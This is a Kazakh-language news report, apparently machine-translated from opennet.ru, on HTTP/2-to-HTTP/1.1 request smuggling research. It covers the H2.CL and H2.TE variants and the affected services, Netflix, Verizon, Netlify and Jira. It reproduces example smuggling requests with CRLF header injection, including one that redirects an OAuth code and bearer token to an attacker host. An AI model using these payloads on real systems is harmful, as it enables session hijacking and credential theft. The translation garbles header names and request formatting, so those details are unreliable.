Сұраныстарды сынауға мүмкіндік беретін алдыңғы қатарлы жүйелерге жаңа шабуыл

Фронт сервері HTTP/2 арқылы қосылымдарды қабылдайтын және оларды HTTP/1.1 арқылы серверге жіберетін веб-жүйелер арнайы әзірленген клиенттік сұрауларды жіберуге мүмкіндік беретін «HTTP сұранысының контрабандасы» шабуылының жаңа нұсқасына ұшырады. фронт пен сервер арасында бірдей ағында өңделген басқа пайдаланушылардың сұрауларының мазмұнына сыналаңыз. Шабуыл зиянды JavaScript кодын заңды веб-сайты бар сеансқа енгізу, кіруді шектеу жүйелерін айналып өту және аутентификация параметрлерін тоқтату үшін пайдаланылуы мүмкін.

Мәселе веб-проксилерге, жүктеме теңестіргіштеріне, веб-үдеткіштерге, мазмұнды жеткізу жүйелеріне және сұраулар алдыңғы жақтан серверге қайта бағытталатын басқа конфигурацияларға әсер етеді. Зерттеу авторы Netflix, Verizon, Bitbucket, Netlify CDN және Atlassian жүйелеріне шабуыл жасау мүмкіндігін көрсетіп, осалдықтарды анықтағаны үшін сыйақы бағдарламалары бойынша 56 мың доллар алды. Мәселе F5 Networks өнімдерінде де расталды. Мәселе Apache http серверіндегі mod_proxy-ге ішінара әсер етеді (CVE-2021-33193), түзету 2.4.49 нұсқасында күтілуде (әзірлеушілерге мәселе туралы мамыр айының басында хабарланған және оны түзетуге 3 ай уақыт берілген). Nginx жүйесінде соңғы шығарылымда (1.21.1) «Мазмұн-ұзындық» және «Тасымалдау-кодтау» тақырыптарын бір уақытта көрсету мүмкіндігі бұғатталған. Шабуыл құралдары Burp құралдар жинағына әлдеқашан енгізілген және Turbo Intruder кеңейтімі түрінде қол жетімді.

Сұрауларды трафикке біріктірудің жаңа әдісінің жұмыс істеу принципі екі жыл бұрын дәл сол зерттеуші анықтаған осалдыққа ұқсас, бірақ HTTP/1.1 арқылы сұрауларды қабылдайтын фронтенділермен шектеледі. Еске салайық, frontend-backend схемасында клиенттің сұраулары қосымша түйін арқылы қабылданады – сұрауларды тікелей өңдейтін сервермен ұзақ мерзімді TCP байланысын орнататын фронтенд. Осы ортақ қосылым арқылы әдетте HTTP хаттамасы арқылы бөлінген тізбекті бірінен соң бірі орындалатын әртүрлі пайдаланушылардың сұраулары жіберіледі.

Классикалық «HTTP сұранысының контрабандасы» шабуылы фронттер мен бэкендтер HTTP тақырыптарының «Content-Length» (сұраудағы деректердің жалпы өлшемін анықтайды) және «Трансфер-кодтау: кесінді» (мүмкіндік береді) пайдалануын түсіндіретініне негізделген. деректер бөліктерге бөлінеді) басқаша. . Мысалы, егер интерфейс тек "Мазмұн ұзындығын" қолдаса, бірақ "Тасымалдау-кодтау: кесіндіні" елемеді, онда шабуылдаушы "Мазмұн ұзындығы" және "Тасымалдау-кодтау: кесінді" тақырыптарының екеуін де қамтитын сұрауды жібере алады, бірақ өлшемі "Мазмұн-ұзындығы" кесілген тізбек өлшеміне сәйкес келмейді. Бұл жағдайда фронтенд сұрауды «Мазмұн-ұзындыққа» сәйкес өңдейді және қайта бағыттайды, ал сервер «Трансфер-кодтау: кесінді» негізінде блоктың аяқталуын күтеді және шабуылдаушы сұрауының қалған бөлігі келесі жіберілген басқа біреудің сұрауының басында болыңыз.

Жол деңгейінде талданатын HTTP/1.1 мәтіндік протоколынан айырмашылығы, HTTP/2 екілік протокол болып табылады және алдын ала көрсетілген өлшемдегі деректер блоктарын өңдейді. Дегенмен, HTTP/2 әдеттегі HTTP тақырыптарына сәйкес келетін жалған тақырыптарды пайдаланады. HTTP/1.1 протоколы арқылы сервермен өзара әрекеттесу жағдайында фронтенд осы жалған тақырыптарды HTTP/1.1 ұқсас HTTP тақырыптарына аударады. Мәселе мынада, сервер бастапқы сұрау параметрлері туралы ақпаратсыз, алдыңғы интерфейс орнатқан HTTP тақырыптары негізінде ағынды талдау туралы шешім қабылдайды.

Атап айтқанда, «content-length» және «transfer-coding» мәндері HTTP/2-де пайдаланылмағанына қарамастан, псевдо-тақырыптар түрінде берілуі мүмкін, өйткені барлық деректердің өлшемі анықталады. бөлек өрісте. Дегенмен, HTTP/2 сұрауын HTTP/1.1-ге түрлендіру процесі кезінде бұл тақырыптар тасымалданады және серверді шатастыруы мүмкін. Шабуылдың екі негізгі нұсқасы бар: H2.TE және H2.CL, онда сервер қате тасымалдау-кодтау немесе мазмұн ұзындығы мәні арқылы жаңылыстырады, ол фронтенд арқылы фронтпен алынған сұрау органының нақты өлшеміне сәйкес келмейді. HTTP/2 протоколы.

Сұраныстарды сынауға мүмкіндік беретін алдыңғы қатарлы жүйелерге жаңа шабуыл

H2.CL шабуылының мысалы ретінде HTTP/2 сұрауын Netflix-ке жіберу кезінде мазмұн ұзындығының псевдо-тақырыбында қате өлшемді көрсету болып табылады. Бұл сұрау HTTP/1.1 арқылы серверге қатынасу кезінде ұқсас HTTP тақырыбын Content-Length қосуға әкеледі, бірақ Content-Length өлшемі нақты өлшемнен азырақ көрсетілгендіктен, құйрықтағы деректердің бір бөлігі ретінде өңделеді. келесі сұраудың басы.

Мысалы, HTTP/2 сұрау: әдіс POST :жол /n :authority www.netflix.com мазмұн ұзындығы 4 abcdGET /n HTTP/1.1 Хост: 02.rs?x.netflix.com Foo: bar

Сұрау серверге жіберіледі: POST /n HTTP/1.1 Хост: www.netflix.com Мазмұн ұзындығы: 4 abcdGET /n HTTP/1.1 Хост: 02.rs?x.netflix.com Foo: bar

Content-Length 4 мәніне ие болғандықтан, сервер сұраудың негізгі бөлігі ретінде тек «abcd» қабылдайды, ал қалған «GET /n HTTP/1.1...» келесі сұраудың басы ретінде өңделеді. басқа пайдаланушымен байланысты. Тиісінше, ағын синхрондалады және келесі сұрауға жауап ретінде жалған сұрауды өңдеу нәтижесі шығарылады. Netflix жағдайында, жалған сұраудағы «Хост:» тақырыбында үшінші тарап хостын көрсету клиенттің «Орналасқан жері: https://02.rs?x.netflix.com/n» жауабын қайтаруына және клиентке еркін мазмұнды жіберуге рұқсат берді, соның ішінде Netflix сайтының контекстінде JavaScript кодын іске қосыңыз.

Екінші шабуыл опциясы (H2.TE) «Трансфер-кодтау: кесінді» тақырыбын ауыстыруды қамтиды. Тасымалдау-кодтау жалған тақырыпты HTTP/2 жүйесінде пайдалануға спецификациямен тыйым салынады және онымен жасалған сұраулар дұрыс емес деп қарастырылады. Осыған қарамастан, кейбір фронталды іске асырулар бұл талапты ескермейді және HTTP/2 жүйесінде ұқсас HTTP тақырыбына түрлендірілетін тасымалдауды кодтаушы жалған тақырыпты пайдалануға мүмкіндік береді. «Тасымалдау-кодтау» тақырыбы болса, сервер оны жоғарырақ басымдық ретінде қабылдай алады және «{size}\r\n{блок» пішіміндегі әртүрлі өлшемді блоктарды пайдаланып, «бөлшектелген» режимде деректерді бөлшектеп талдай алады. }\r\n{size} \r\n{block}\r\n0", жалпы өлшем бойынша бастапқы бөлуге қарамастан.

Мұндай олқылықтың болуы Verizon мысалында көрсетілді. Мәселе аутентификация порталына және Huffington Post және Engadget сияқты сайттарда да қолданылатын мазмұнды басқару жүйесіне қатысты. Мысалы, HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com тасымалдау-кодтау 0 GET /oops HTTP/1.1 Хост: psres.net Мазмұн ұзындығы: 10 арқылы клиент сұрауы x=

Нәтижесінде серверге HTTP/1.1 сұрауы жіберілді: POST /identity/XUI HTTP/1.1 Хост: id.b2b.oath.com Мазмұн ұзындығы: 66 Тасымалдау-кодтау: кесінді 0 GET /oops HTTP/1.1 Хост: psres. таза мазмұн- Ұзындығы: 10x=

Өз кезегінде, сервер "Мазмұн-ұзындығы" тақырыбын елемеді және "Трансфер-кодтау: кесінді" негізінде ағынды бөлуді орындады. Іс жүзінде шабуыл пайдаланушы сұрауларын олардың веб-сайтына қайта бағыттауға, соның ішінде параметрлері Referer тақырыбында көрсетілетін OAuth аутентификациясына қатысты сұрауларды ұстауға, сондай-ақ аутентификация сеансын имитациялауға және тіркелгі деректерін жіберу үшін пайдаланушы жүйесін іске қосуға мүмкіндік берді. шабуылдаушының хостына. GET /b2blanding/show/oops HTTP/1.1 Хост: psres.net сілтемесі: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Хост: psres.net Авторизация: Тасымалдаушы eyJhcGwiOiJIUzI1sInk…c

Тасымалдау-кодтау жалған тақырыпты көрсетуге мүмкіндік бермейтін HTTP/2 іске асыруларына шабуыл жасау үшін «Трансфер-кодтау» тақырыбын жаңа жол таңбасымен бөлінген басқа псевдотақырыптарға қосу арқылы ауыстыруды қамтитын басқа әдіс ұсынылды ( HTTP/1.1 түрлендіргенде, бұл жағдайда екі бөлек HTTP тақырыптарын жасайды).

Мысалы, Atlassian Jira және Netlify CDN (Firefox жүйесінде Mozilla бастапқы бетіне қызмет көрсету үшін пайдаланылады) бұл мәселеге әсер етті. Атап айтқанда, HTTP/2 сұрауы: әдіс POST :path / :authority start.mozilla.org foo b\r\n тасымалдау-кодтау: кесінді 0\r\n \r\n GET / HTTP/1.1\r\n Хост : evil-netlify-domain\r\n Мазмұн ұзындығы: 5\r\n \r\nx=

HTTP/1.1 POST / HTTP/1.1 сұрауы серверге жіберілді\r\n Хост: start.mozilla.org\r\n Foo: b\r\n Тасымалдау-кодтау: кесінді\r\n Мазмұн ұзындығы : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Хост: evil-netlify-domain\r\n Мазмұн ұзындығы: 5\r\n \r \nx=

«Трансфер-кодтау» тақырыбын ауыстырудың тағы бір нұсқасы оны басқа псевдо-тақырыптың атына немесе сұрау әдісі бар жолға тіркеу болды. Мысалы, Atlassian Jira-ға қатынау кезінде, жалған тақырып атауы "foo:bar\r\ntransfer-encoding" "chunked" мәні бар HTTP тақырыптары "foo:bar" және "transfer-encoding: chunked" қосылды. , және "GET / HTTP/1.1\r\nTransfer-coding: chunked" жалған тақырыптың ":method" мәнін көрсету "GET / HTTP/1.1\r\ntransfer-coding: chunked" деп аударылды.

Мәселені анықтаған зерттеуші сонымен қатар әр IP мекенжайы серверге жеке қосылым орнататын және әртүрлі пайдаланушылардың трафигі араласпайтын фронтендтерге шабуыл жасау үшін сұраныс туннельдеу әдісін ұсынды. Ұсынылған әдістеме басқа пайдаланушылардың сұрауларына кедергі жасауға мүмкіндік бермейді, бірақ басқа сұрауларды өңдеуге әсер ететін ортақ кэшті улануға мүмкіндік береді және сервистік ақпаратты фронттен серверге тасымалдау үшін пайдаланылатын ішкі HTTP тақырыптарын ауыстыруға мүмкіндік береді ( мысалы, алдыңғы жағында аутентификация кезінде Мұндай тақырыптар ағымдағы пайдаланушы туралы ақпаратты серверге жібере алады). Әдісті тәжірибеде қолданудың мысалы ретінде кэшті улануды қолдана отырып, Bitbucket қызметіндегі беттерді басқаруға болады.

Ақпарат көзі: opennet.ru

пікір қалдыру